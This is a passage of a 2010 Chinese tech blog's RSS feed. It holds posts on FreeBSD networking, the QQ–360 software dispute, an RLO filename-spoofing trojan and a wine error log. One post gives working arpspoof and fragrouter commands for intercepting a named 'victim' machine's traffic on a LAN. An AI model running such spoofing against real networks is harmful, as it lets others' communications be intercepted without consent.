<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/post/539">TeamViewer 汉化绿色版</a></p><p><a href="http://www.holmesian.org/FreeBSD-mount">Mount命令使用详解</a></p><p><a href="http://www.holmesian.org/XX_OO">终于复活了--天朝威武~~</a></p><p><a href="http://www.holmesian.org/FreeBSD_nginx_fastcgi_error">FreeBSD+nginx+spawn-fcgi出错的解决</a></p><p><a href="http://www.holmesian.org/IE_fuck">IE首页劫持产业链</a></p><p><a href="http://www.holmesian.org/BTchina_VeryCD">BTchina-VeryCD</a></p></div>]]></description>
	<pubDate>Fri, 05 Nov 2010 12:04:01 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/IP_NAT_FreeBSD</guid>

</item>
<item>
	<title>今天是中期选举的日子</title>
	<link>http://www.holmesian.org/t_778</link>
	<description><![CDATA[今天是中期选举的日子：美国人在两个政党之间选一个政党，中国人在两个流氓软件中选一个流氓软件。]]></description>
	<pubDate>Wed, 03 Nov 2010 11:17:24 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/t_778</guid>

</item>
<item>
	<title>最危险的域名和最安全的域名</title>
	<link>http://www.holmesian.org/t_777</link>
	<description><![CDATA[安全公司McAfee发布了最新的网络安全报告《2010 Mapping the Mal Web》(PDF)，公布了最危险的域名和最安全的域名名单。.COM是最危险的顶级域名，越南的.VN是最危险的国家域名，日本.JP是最安全的国家域名，.TRAVEL是最安全的顶级域名，有意思的是.JP和.TRAVEL也是目前最昂贵的域名，前者在域名注册商GoDaddy的售价89.99美元。最危险的十个顶级域名是：COM、INFO，.VN，.CM（喀麦隆），.AM(亚美尼亚)，.CC，.ASIA，.NET，.RU，.WS(西萨摩亚群岛)，中国的.CN域名排在15位，而去年它是第三危险的域名。]]></description>
	<pubDate>Wed, 03 Nov 2010 11:02:35 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/t_777</guid>

</item>
<item>
	<title>QQ和360大战最终受害的还是用户</title>
	<link>http://www.holmesian.org/t_776</link>
	<description><![CDATA[QQ决定，只要你电脑上装了360，就不能运行QQ http://im.qq.com/qq.shtml]]></description>
	<pubDate>Wed, 03 Nov 2010 10:55:03 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/t_776</guid>

</item>
<item>
	<title>FreeBSD下获得内网机器的MAC地址</title>
	<link>http://www.holmesian.org/t_775</link>
	<description><![CDATA[FreeBSD下没有自带的扫描ARP工具<br/>
但是在FreeBSD的PORTS里有一个同Ubuntu下一样健壮的arping<br/>
<br/>
首先安装arping<br/>
cd /usr/ports/net/arping<br/>
make install clean<br/>
<br/>
假设FreeBSD处在202.101.208.0/24网段内，网卡名字为lo0，那么要获得整个内网所有机器的MAC则可以使用以下mymac.sh脚本:<br/>
<br/>
######################<br/>
#!/bin/bash<br/>
for ((i = 1; i < 254; i++))<br/>
do<br/>
arping -c 1 -I lo0 202.101.208.$i<br/>
done<br/>
arp -a > all_mac<br/>
##############<br/>
<br/>
chmod u+x mymac.sh<br/>
<br/>
运行mymac.sh之后即可在相同目录的all_mac中看到相应内网机器的MAC地址了。]]></description>
	<pubDate>Wed, 03 Nov 2010 10:52:51 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/t_775</guid>

</item>
<item>
	<title>在Ubuntu下进行ARP欺骗探嗅</title>
	<link>http://www.holmesian.org/Ubuntu_arp_hacking</link>
	<description><![CDATA[<p>&nbsp;</p>
<p>我的系统是ubuntu 9.10，网络情况：路由ip：172.16.86.254  我的电脑ip：172.16.86.2 受害者ip：172.16.86.3</p>
<p>主要用到的工具有2个，一个是Dsniff，还有一个是 fragrouter。</p>
<p>安装Dsniff：</p>
<div contenteditable="false" class="HighLighter">
<div contenteditable="false" class="dp-highlighter">
<ol class="dp-rb" start="1">
    <li class="alt"><span><span>sudo apt-get install dsniff</span></span></li>
</ol>
</div>
<div contenteditable="false" class="ruby" style="display: none;">
<pre>
sudo apt-get install dsniff</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<p>&nbsp;</p>
<p>安装 fragrouter：</p>
<div contenteditable="false" class="HighLighter">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol class="dp-py" start="1">
    <li class="alt"><span><span>/etc/apt/sources.list 文件中添加:</span></span></li>
    <li><span>deb http://cz.archive.ubuntu.com/ubuntu hardy main universe</span></li>
    <li class="alt">&nbsp;</li>
    <li><span>再执行</span></li>
    <li class="alt"><span>sudo apt-get install fragrouter</span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display: none;">
<pre>
/etc/apt/sources.list 文件中添加:
deb http://cz.archive.ubuntu.com/ubuntu hardy main universe

再执行
sudo apt-get install fragrouter

</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<p>&nbsp;</p>
<p>安装完毕后就可以实施操作了&hellip;&hellip;</p>
<p>&nbsp;</p>
<div contenteditable="false" class="HighLighter">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol class="dp-py" start="1">
    <li class="alt"><span><span>sudo arpspoof -t </span><span class="number">172.16</span><span>.</span><span class="number">86.3</span><span> </span><span class="number">172.16</span><span>.</span><span class="number">86.254</span><span> //欺骗</span><span class="number">172.16</span><span>.</span><span class="number">86.3</span><span>，告诉</span><span class="number">172.16</span><span>.</span><span class="number">86.3</span><span>，网关</span><span class="number">172.16</span><span>.</span><span class="number">86.254</span><span>的MAC地址是本机的MAC地址</span></span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>sudo arpspoof -t <span class="number">172.16</span><span>.</span><span class="number">86.254</span><span> </span><span class="number">172.16</span><span>.</span><span class="number">86.3</span><span> //欺骗网关，告诉网关，</span><span class="number">172.16</span><span>.</span><span class="number">86.3</span><span>的MAC地址是本机的MAC地址</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display: none;">
<pre>
sudo arpspoof -t 172.16.86.3 172.16.86.254 //欺骗172.16.86.3，告诉172.16.86.3，网关172.16.86.254的MAC地址是本机的MAC地址

sudo arpspoof -t 172.16.86.254 172.16.86.3 //欺骗网关，告诉网关，172.16.86.3的MAC地址是本机的MAC地址</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<p>&nbsp;</p>
<p>ARP数据包广播之后，网关和受害机之间的数据交流就都需要经过我的机器了</p>
<p>设置转发,让受害机与网关的通信正常</p>
<div contenteditable="false" class="HighLighter">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol class="dp-py" start="1">
    <li class="alt"><span><span>$ sudo echo </span><span class="number">1</span><span> &gt;/proc/sys/net/ipv4/ip_forward</span></span></li>
    <li>&nbsp;</li>
    <li class="alt"><span>$ sudo fragrouter -i wlan0 -B1</span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display: none;">
<pre>
$ sudo echo 1 &gt;/proc/sys/net/ipv4/ip_forward

$ fragrouter -B1</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<p>&nbsp;</p>
<p>接 下来就可以嗅探数据咯，还不会用Dsniff的TX去网上搜索一些资料看看，或者转用WireShark的GUI工具抓包&hellip;&hellip;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/post/480">ubuntu的nessus工具</a></p><p><a href="http://www.holmesian.org/post/478">ubuntu配置文件对照表</a></p><p><a href="http://www.holmesian.org/Ubuntu_GBK">让Ubuntu支持GBK编码</a></p><p><a href="http://www.holmesian.org/post/545">QCAD</a></p><p><a href="http://www.holmesian.org/ubuntu-service">ubuntu服务介绍</a></p><p><a href="http://www.holmesian.org/ubuntu-VirtualBox-upgrade">ubuntu升级后VirtualBox新问题</a></p></div>]]></description>
	<pubDate>Mon, 01 Nov 2010 06:58:21 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/Ubuntu_arp_hacking</guid>

</item>
<item>
	<title>20%-80%</title>
	<link>http://www.holmesian.org/20_80</link>
	<description><![CDATA[<ul>
    <li>20%的人用脖子以上赚钱，80%的人用脖子以下赚钱；</li>
    <li>20%的人认为行动才有结果，80%的人认为知识就是力量；</li>
    <li>20%的人买时间，80%的人卖时间；</li>
    <li>20%的人做事业，80%的人做事情；</li>
    <li>20%的人爱投资，80%的人爱购物；</li>
    <li>20%的人明天的事情今天做，80%的人今天的事情明天做；</li>
    <li>20%的人支配别人，80%的人受别人支配；</li>
    <li>20%的人是我要怎么做才有钱，80%的人是我要有了钱我就怎么做；</li>
    <li>20%的人有目标，80%的人爱瞎想；</li>
    <li>20%的人计划未来，80%的人早上起来才想今天干些啥；</li>
    <li>20%的人相信自己会成功，80%的人不愿改变，甚至不愿意接受新变化。</li>
</ul><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/My-High-school">关于中学的碎碎念</a></p><p><a href="http://www.holmesian.org/post/550">状态恢复</a></p><p><a href="http://www.holmesian.org/Ubuntu-Pidgin">Ubuntu下禁用Pidgin烦人的好友在线状态提示</a></p></div>]]></description>
	<pubDate>Mon, 01 Nov 2010 06:07:46 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/20_80</guid>

</item>
<item>
	<title>今天给技术部做了一个WEB安全的讲座</title>
	<link>http://www.holmesian.org/WEB_security</link>
	<description><![CDATA[<p>RT，内容相对简单，留着存档</p>
<div style="padding:5px;margin:0px;background-color:#ffffff;font:medium 'Times New Roman';">
<div style="padding:5px;margin:0px;background-color:#ffffff;font:medium 'Times New Roman';">
<p style="padding:0px;margin:0px 0px 1.1em;"><a href="http://wenku.baidu.com/view/755edd8884868762caaed52d.html">http://wenku.baidu.com/view/755edd8884868762caaed52d.html</a></p>
<p style="padding:0px;margin:0px 0px 1.1em;"></p>
</div>
</div><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/ECJTU_IT_II">日新技术部总结——服务器+网站</a></p><p><a href="http://www.holmesian.org/linux-on-web">太惊讶了，在Web上运行的Linux系统</a></p><p><a href="http://www.holmesian.org/2010_1_1">又是一年元旦时</a></p><p><a href="http://www.holmesian.org/ECJTU_IT">日新技术部总结</a></p></div>]]></description>
	<pubDate>Sun, 31 Oct 2010 13:32:01 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/WEB_security</guid>

</item>
<item>
	<title>采用RLO控制符的逆名欺骗木马</title>
	<link>http://www.holmesian.org/RLO_virus</link>
	<description><![CDATA[<p>刚才看到一种RLO控制符的逆名欺骗木马，非常有意思：该病毒在文件名中插入RLO控制符（注：RLO控制符是Unicode控制符的一种，用来显示中东文字，从右到左书写），使得字符显示从右至左的顺序，让病毒程序的真实后辍名（.exe/.scr/.com等）被隐藏，伪装后的病毒看起来是.jpg、.txt、.rmvb的文件，就连经验丰富的IT技术人员也轻易被骗。</p>
<p><br />
<br />
一般的防毒经验中，会推荐用户显示已知文件的扩展名，以查看文件的真实扩展名，避免被病毒程序的图标伪装欺骗。<br />
<span><img border="0" alt="" src="/attachment/image/2010103116460857449.jpg" /></span><br />
但逆名欺骗木马，却完全利用了对文件扩展名（后辍名）的信任。<br />
<br />
分析发现逆名欺骗木马的病毒文件名被人为插入了RLO控制符，使得文件名中的字符显示是从右到左，而中国用户的电脑显示字符是从左到右的。RLO控制符用来显示中东地区的某种文字。<br />
<br />
<span><img border="0" alt="" src="/attachment/image/2010103116460935046.jpg" /></span><br />
用totalcmd观察可以看到真实扩展名<br />
<span><img border="0" alt="" src="/attachment/image/2010103116460948435.jpg" /></span><br />
在Winrar中查看也和资源管理器一样，很容易被骗。<br />
<span><img border="0" alt="" src="/attachment/image/2010103116460963769.jpg" /></span><br />
双击打开这个假&ldquo;文本&rdquo;文件，结果病毒会创建一个真的TXT文件继续蒙你。病毒作者骗术真是挺高明的。<br />
<span><img border="0" alt="" src="/attachment/image/2010103116460919860.jpg" /></span></p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/post/111">AppInit_DLLs</a></p><p><a href="http://www.holmesian.org/post/16">记一次清除“帕虫”病毒</a></p><p><a href="http://www.holmesian.org/Ksoft">2007年度的世界杀毒软件排名</a></p><p><a href="http://www.holmesian.org/Ubuntu_arp_hacking">在Ubuntu下进行ARP欺骗探嗅</a></p><p><a href="http://www.holmesian.org/post/473">关于BT的6700病毒</a></p><p><a href="http://www.holmesian.org/SSClone">SSClone——不依靠ARP的欺骗工具</a></p></div>]]></description>
	<pubDate>Sun, 31 Oct 2010 08:46:26 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/RLO_virus</guid>

</item>
<item>
	<title>[转]“听说，250干110的事儿，那就是360了”</title>
	<link>http://www.holmesian.org/360_VS_QQ_2826</link>
	<description><![CDATA[<p>&nbsp;一篇很好的分析文章，关于最近很热的360和QQ的斗争，转过来存档</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><strong>一：360百战成精，出手快准狠！</strong></p>
<p>谁也想不到360不但反击的很快，而且还很猛。在腾讯联合百度、金山、遨游和可牛（严格说可牛不是独立的，可牛创始人傅盛已经就任金山毒霸总经理）发布<a target="_blank" style="text-decoration: underline; color: rgb(0, 0, 255); " href="http://www.donews.com/original/201010/253296.shtm">五公司联合公告</a>以后几个小时，360就发布了措辞强硬，并且几乎不留余地的<a target="_blank" style="text-decoration: underline; color: rgb(0, 0, 255); " href="http://tech.mop.com/net/2010/1027/2127497250.shtml">反击声明</a>。关于其中关系，我在前日《<a style="text-decoration: underline; color: rgb(0, 0, 255); " href="http://www.linglingfa.net/2010/10/28/5740/">奇虎独挑业界五强，神仙打架用户遭殃</a>》一文中也有讨论。</p>
<p>不过可以说是很多人都没有想到的是360的反击不仅尽快，而且猛，今天上午，360扔出了一个重磅炸弹，&ldquo;<a target="_blank" style="text-decoration: underline; color: rgb(0, 0, 255); " href="http://www.donews.com/original/201010/255740.shtm">360扣扣保镖</a>&rdquo;，这个产品从命名上极为山寨，也同时极为草根。在民间网友常用&ldquo;扣扣&rdquo;来指称QQ，一方面防止一些程序的过滤和屏蔽，另一方面显得另类和有趣。先让我们看看这个&ldquo;扣扣保镖&rdquo;都能干啥吧：</p>
<blockquote style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; border-left-width: 1px; border-left-style: solid; border-left-color: rgb(204, 204, 204); margin-top: 5px; margin-right: 30px; margin-bottom: 5px; margin-left: 30px; color: rgb(109, 110, 113); text-align: justify; ">
<p><strong>360&ldquo;扣扣保镖&rdquo;主要功能介绍：</strong></p>
<p>1、保护隐私，阻止QQ强行静默扫描用户硬盘;&nbsp;<br />
2、防止QQ盗号，用360云安全体系精确查杀QQ盗号木马;&nbsp;<br />
&nbsp;&nbsp;&nbsp; 3、QQ加速，禁用不需要的插件，大幅提高QQ运行速度;&nbsp;<br />
4、过滤QQ软件广告，让聊天更清爽;&nbsp;<br />
5、清理QQ垃圾(含QQ影音、QQ音乐等QQ周边软件)，清除冗余和临时文件;&nbsp;<br />
6、QQ体检，检测QQ安全性并修复QQ软件漏洞，并一键修复;&nbsp;<br />
7、保护QQ安全，阻止QQ设置被恶意修改，自动扫描传输文件。&nbsp;<br />
8、360&ldquo;扣扣保镖&rdquo;默认不修改QQ任何设置，所有功能都必须由用户主动选择触发，并可随时启用和恢复。目前仅支持QQ2009、QQ2010。</p>
</blockquote>
<p>这哪里是保镖，分明是QQ杀手啊。直接通过360这个第三方应用去关闭腾讯的主要业务。两年前为了剿灭能够屏蔽掉QQ广告的&ldquo;珊瑚虫&rdquo;，腾讯不惜冒被广大网友狂骂的风险，<a target="_blank" style="text-decoration: underline; color: rgb(0, 0, 255); " href="http://soft.yesky.com/458/7588458.shtml">把一个曾经在QQ发展前期为QQ用户增长做出过贡献的陈寿福打进监狱</a>。如今，同样擅长把人搞进监狱的周鸿祎再次出手屏蔽QQ广告，还把QQ系列软件称之为&ldquo;QQ垃圾&rdquo;，你认为QQ能忍么？腾讯能忍么？马化腾能忍么？</p>
<p>当然，马化腾不可能忍。但是事实证明这吵架到打架这件事情上，可能很多人不服气但是确实还没有人是周鸿祎的对手。而具体到这件事情上来，腾讯号召业内都不和360发生业务往来，360则直接封杀QQ的广告业务和删除QQ系软件，很显然这已经不是口水战的升级，而已经彻底转成你死我活的战争了。</p>
<p>很显然，在这场战争上面，腾讯家大业大，中国第一，世界第三，背后还有百战百胜的南山法院。几乎所有人都没有想过腾讯会因为一场和一个没上市的公司的竞争纠纷而轰然倒地。但是很显然，周鸿祎似乎不这么看。在经历了短暂的欢乐之后我相信很多人都能看出来，这个&ldquo;扣扣保镖&rdquo;肯定不是一个晚上设计出来的软件，对于这场正在发生的惨烈战争360不但是有准备，而且早有准备。无论是<a target="_blank" style="text-decoration: underline; color: rgb(0, 0, 255); " href="http://tech.mop.com/net/2010/1027/2127497250.shtml">那份声明</a>，还是紧跟着声明的<a target="_blank" style="text-decoration: underline; color: rgb(0, 0, 255); " href="http://www.linglingfa.net/2010/10/28/5740/3190_848a1288187046f93756f37494775-jpg/">漫画</a>，还有后来跟进的&ldquo;黑名单&rdquo;，还有今天出现的&ldquo;扣扣保镖&rdquo;&hellip;&hellip;360出手快，狠，猛，打的坚决，打得给力，打得让QQ疼！</p>
<p>可以看出来，尽管腾讯等五家是率先发布声明，看起来经过了长时间准备，但是从后续来看这反360联盟明显准备不足。声明本身页面借用了一个月前的腾讯专题。随后在360的一系列反击面前缺乏应对措施。</p>
<p>360的反击是全方位的，一方面在主战场和腾讯QQ激烈对峙，另一方面对于反360联盟的尖兵金山采取了无差别打击的策略。就在今天，360<a target="_blank" style="text-decoration: underline; color: rgb(0, 0, 255); " href="http://www.donews.com/original/201010/256154.shtm">禁止了金山旗下产品&ldquo;金山快盘&rdquo;的启动</a>，而隶属金山WPS部门的金山快盘给出的说明不疼不痒，不黑不白，这太不给力了。为什么不弄成&ldquo;360的某些功能干扰了快盘启动&rdquo;？要知道这早已不是金山毒霸一家在和360交火，整个金山都已经卷入其中。</p>
<p><a style="text-decoration: underline; color: rgb(0, 0, 255); " href="/attachment/image/2010103116352341008.jpg"><img title="kuaipanP" height="48" alt="kuaipanP" width="444" border="0" style="border-right-width: 0px; border-right-style: initial; border-right-color: initial; border-top-width: 0px; border-top-style: initial; border-top-color: initial; display: inline; border-left-width: 0px; border-left-style: initial; border-left-color: initial; border-bottom-width: 0px; border-bottom-style: initial; border-bottom-color: initial; " src="/attachment/image/2010103116352440523.jpg" /></a></p>
<p>WPS这样说也许是想声明在战争中保持中立，然而，这样的做法除了伤害金山毒霸以外，还有别的意义么？没见过比金山公关更弱智的公关了。</p>
<p>可以说，从一个月前360和QQ接火开始，整个战局一直在360的把握之下，这次5家联合成立反360联盟后，业界其他企业一片安静，未见谁能够加入其中，反倒是网络媒体老大新浪，有加入360阵营的意思：</p>
<p><a style="text-decoration: underline; color: rgb(0, 0, 255); " href="/attachment/image/2010103116352488931.jpg"><img title="新浪科技官方账户在新浪微博推荐360扣扣保镖" height="155" alt="新浪科技官方账户在新浪微博推荐360扣扣保镖" width="444" border="0" style="border-right-width: 0px; border-right-style: initial; border-right-color: initial; border-top-width: 0px; border-top-style: initial; border-top-color: initial; display: inline; border-left-width: 0px; border-left-style: initial; border-left-color: initial; border-bottom-width: 0px; border-bottom-style: initial; border-bottom-color: initial; " src="/attachment/image/2010103116352496369.jpg" /></a></p>
<p>国内SNS巨头<a target="_blank" style="text-decoration: underline; color: rgb(0, 0, 255); " href="http://finance.qianlong.com/30055/2010/10/29/2801@6248128.htm">人人网似乎也有力挺360的意思</a>。</p>
<p>我不相信这个&ldquo;360扣扣保镖&rdquo;是周鸿祎手中最后一张王牌，相反，我认为他一定还有更狠辣的招数在等待时机放出。现在在网络上无数唯恐天下不乱或者唯恐天下不够乱的围观群众在期待着腾讯祭出&ldquo;卸载360送Q币&rdquo;的欢乐事件，但是我相信就算如此，周鸿祎也一定做好了准备。</p>
<p>360是指战争中成长起来的，到今天，可以说已经百战成精。而腾讯和反360联盟，看起来经验不足啊。</p>
<p><strong>二，腾讯抄袭已成习惯，真战斗缺乏经验</strong></p>
<p>很早以前流传着一个老笑话，说腾讯是&ldquo;一直在抄袭，从未被起诉&rdquo;，因为这事儿，还有人<a target="_blank" style="text-decoration: underline; color: rgb(0, 0, 255); " href="http://tech.sina.com.cn/i/2010-07-24/20434467150.shtml">做了专题大骂腾讯</a>。</p>
<p>然而回过头来看现在正在发生的360和QQ的大战，你会发现360擅长去研究别人没做过的东西，从寻找市场空白开始去寻找用户。而腾讯最擅长的是他们自己生成的&ldquo;最稳妥的产品策略&rdquo;&mdash;&mdash;复制已经看出端倪的产品形式，依靠QQ的整体优势和他们在产品细节上的能力去抢夺用户。然而在这场战争上，腾讯最大的软肋就是不会创新啊，这下傻眼了吧！看看腾讯能开发出什么东西搞死360？难不成要做一个360保镖么？</p>
<p>（追加：反360联盟先锋金山的先锋可牛还真<a target="_blank" style="text-decoration: underline; color: rgb(0, 0, 255); " href="http://www.donews.com/original/201010/256128.shtm">山寨了一个</a>。）</p>
<p>本来第一天360弹出窗口说马化腾领取经济适用房住房补贴一事是一个乌龙误传，腾讯大可以好好处理打击竞争对手一贯弄虚作假搬弄是非，然而腾讯居然<a target="_blank" style="text-decoration: underline; color: rgb(0, 0, 255); " href="http://www.donews.com/original/201010/254747.shtm">在声明中说</a>什么&ldquo;捐献给慈善事业&rdquo;，这太不给力了，太失败了，等于承认自己拿了不该拿的钱。如果你认为这个钱理所应当 ，那么拿了就拿了，至于你做不做慈善事业，那是另一回事儿。强调这笔钱用于慈善，透露出自己都觉得这钱拿的不心安理得。</p>
<p>在我看来，小马哥最好找个地方清净几天呗，冲动就败了。360有备而来，直接回应360就中了360的圈套。必须开辟第二战场才能有胜算。</p>
<p>而反360联盟用金山当先锋乍一看用安软对安全是合适正选，但是实际上十几年来金山软件一直不擅真刀真枪的作战，无论是产品还是市场都表现的极为软弱。这次WPS自乱阵脚，在被人打脸的时候还胳膊肘向外拐的举动只能让人怒其不争。对于腾讯来说，如果想尽快扭转局面，最好还是亲自上阵，让QQ医生，QQ管家什么的尽快调整产品适应战时需要。自古以来各种联盟都难以持久，如果反360联盟总是被动，本来就和腾讯有竞争关系的百度还会是什么态度谁又能保证？</p>
<p><strong>三，&ldquo;250干110的事儿，那就是360了&rdquo;</strong></p>
<p>&ldquo;我的征途是星辰大海&hellip;&hellip;&rdquo;对于周鸿祎来说，我曾经说过安全市场不是他的目标。而如今他和中国第一的腾讯和中国第二的百度同时开战，我仍然不相信周鸿祎只是因为QQ出了一款威胁360安全卫士的产品而被迫应战。这场战争进行到此，已经决然不能说这只是又一场轰轰烈烈的互联网口水战，而是名副其实的生死决战。</p>
<p>刚开始大家都认为因为腾讯不可能失败所以360迟早收手，然而也许只有周鸿祎看到了腾讯这个巨人在他面前轰然倒下的那一天。对于一个神智正常的人来说，很难想象用户如何会放弃腾讯QQ，然而，从古至今，战场上需要的都是疯子、流氓和具有250精神的偏执狂。</p>
<p>记得周鸿祎曾经跟&nbsp;<a target="_blank" style="text-decoration: underline; color: rgb(0, 0, 255); " href="http://twitter.com/virushuo">@virushuo</a>&nbsp;说过：&ldquo;如果只能做流氓就做真流氓，不做伪君子。&rdquo;</p>
<p>周鸿祎在一次接受《新京报》采访时说：&ldquo;250干110的事儿，那就是360了。&rdquo;&nbsp;</p>
<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/QQ-online">2009检测QQ隐身最有效的方法</a></p><p><a href="http://www.holmesian.org/XX_OO">终于复活了--天朝威武~~</a></p><p><a href="http://www.holmesian.org/post/489">Ubuntu网络探嗅软件</a></p><p><a href="http://www.holmesian.org/QQSSZ">腾讯QQ出新申诉政策后的QQ申诉技巧</a></p><p><a href="http://www.holmesian.org/IP_NAT_FreeBSD">FreeBSD下IP Filter NAT机理分析</a></p><p><a href="http://www.holmesian.org/Netkeeper_all">细说破解星空极速netkeeper共享宽带</a></p></div>]]></description>
	<pubDate>Sun, 31 Oct 2010 08:36:10 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/360_VS_QQ_2826</guid>

</item>
<item>
	<title>FreeBSD下给单网卡绑定多个IP</title>
	<link>http://www.holmesian.org/FreeBSD_IPs</link>
	<description><![CDATA[<p>&nbsp;<span class="Apple-style-span" style="font-family: arial, sans-serif; border-collapse: collapse; font-size: 13px; ">假设网卡lnc0原IP地址为192.168.0.2，现在为它绑定另一个IP：<blockquote>
<p># ifconfig lnc0 192.168.0.3 netmask 255.255.255.255 alias</p>
</blockquote>
<p><strong>解释：</strong></p>
<p>如果别名IP地址和网卡原IP地址在同一个子网上，就需要设置掩码为255.255.255.255</p>
<p>如果位于不同的子网，就直接使用相应子网的正常网络掩码</p>
<p>从TCP/IP的角度来看，这样做意味着什么呢？</p>
<p>网络掩码的所有位都设置成1，就会保证ICP/IP栈这样来看待包：</p>
<p>只要包的目标地址匹配所有位，就把该包看成本地子网上的包；它创建了只有一个地址的&ldquo;子网&rdquo;。</p>
<p>所有发送给该地址的包以及该地址接受的包都会发送给路由器，而不会发送到LAN上。</p>
<p>如果多个别名使用了同一个网络掩码，这些别名的广播地址也应该相同，而这样却导致了TCP/IP栈的混乱。</p>
<p>使用全1的网络掩码，才能骗过ifconfig，让该命令允许单个接口卡上有多个IP地址。</p>
<p>要在/etc/rc.conf中设置别名，应该使用 ifconfig_xxx#_alias# 关键字，该关键字的使用形式类似于 ifconfig_xxx#：</p>
<blockquote>
<p>ifconfig_lnc0=&quot;inet 192.168.0.2 netmask 255.255.255.0&quot;<br />
ifconfig_lnc0_alias0=&quot;inet 192.168.0.3 netmask 255.255.255.255&quot;<br />
ifconfig_lnc0_alias1=&quot;inet 192.168.1.2 netmask 255.255.255.0&quot;<br />
ifconfig_lnc0_alias2=&quot;inet 192.168.1.3 netmask 255.255.255.255&quot;</p>
</blockquote></span></p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/FreeBSD_nginx_fastcgi_error">FreeBSD+nginx+spawn-fcgi出错的解决</a></p><p><a href="http://www.holmesian.org/FreeBSD-Study">FreeBSD学习</a></p><p><a href="http://www.holmesian.org/FreeBSD-ESXi-opt">FreeBSD在ESXi的虚拟环境下php-cgi性能极差</a></p><p><a href="http://www.holmesian.org/FreeBSD_newsyslog">完美解决FreeBSD下日志轮转问题</a></p><p><a href="http://www.holmesian.org/IP_NAT_FreeBSD">FreeBSD下IP Filter NAT机理分析</a></p><p><a href="http://www.holmesian.org/FreeBSD_chmod">关于Linux和Unix系统下权限的理解</a></p></div>]]></description>
	<pubDate>Sun, 31 Oct 2010 01:01:12 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/FreeBSD_IPs</guid>

</item>
<item>
	<title>wine安装.netFramework时出错的解决</title>
	<link>http://www.holmesian.org/wine-netFramework</link>
	<description><![CDATA[<p>使用<strong>winetricks</strong>安装<strong>dotnet2.0</strong>时出现错误：</p>
<div contenteditable="false" class="HighLighter">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>------------------------------------------------------</span></span></li>
    <li><span>Instaling&nbsp;.net&nbsp;<span class="number">2.0</span><span>&nbsp;runtime.&nbsp;&nbsp;Can&nbsp;take&nbsp;several&nbsp;minutes.&nbsp;&nbsp;See&nbsp;http://wiki.winehq.org/MicrosoftDotNet&nbsp;</span><span class="keyword">for</span><span>&nbsp;tips.</span></span></li>
    <li class="alt"><span>------------------------------------------------------</span></li>
    <li><span>prerequisite&nbsp;gecko&nbsp;already&nbsp;installed,&nbsp;skipping</span></li>
    <li class="alt"><span>Setting&nbsp;Windows&nbsp;version&nbsp;to&nbsp;win2k</span></li>
    <li><span>Executing&nbsp;early_wine&nbsp;regedit&nbsp;c:\winetrickstmp\set-winver.reg</span></li>
    <li class="alt"><span>Executing&nbsp;cp&nbsp;-f&nbsp;/home/xerxes/.cache/winetricks/dotnet20/l_intl.nls&nbsp;/home/xerxes/.wine/dosdevices/c:/windows/system32/</span></li>
    <li><span>Executing&nbsp;wine&nbsp;reg&nbsp;delete&nbsp;HKLM\Software\Microsoft\.NETFramework\policy</span></li>
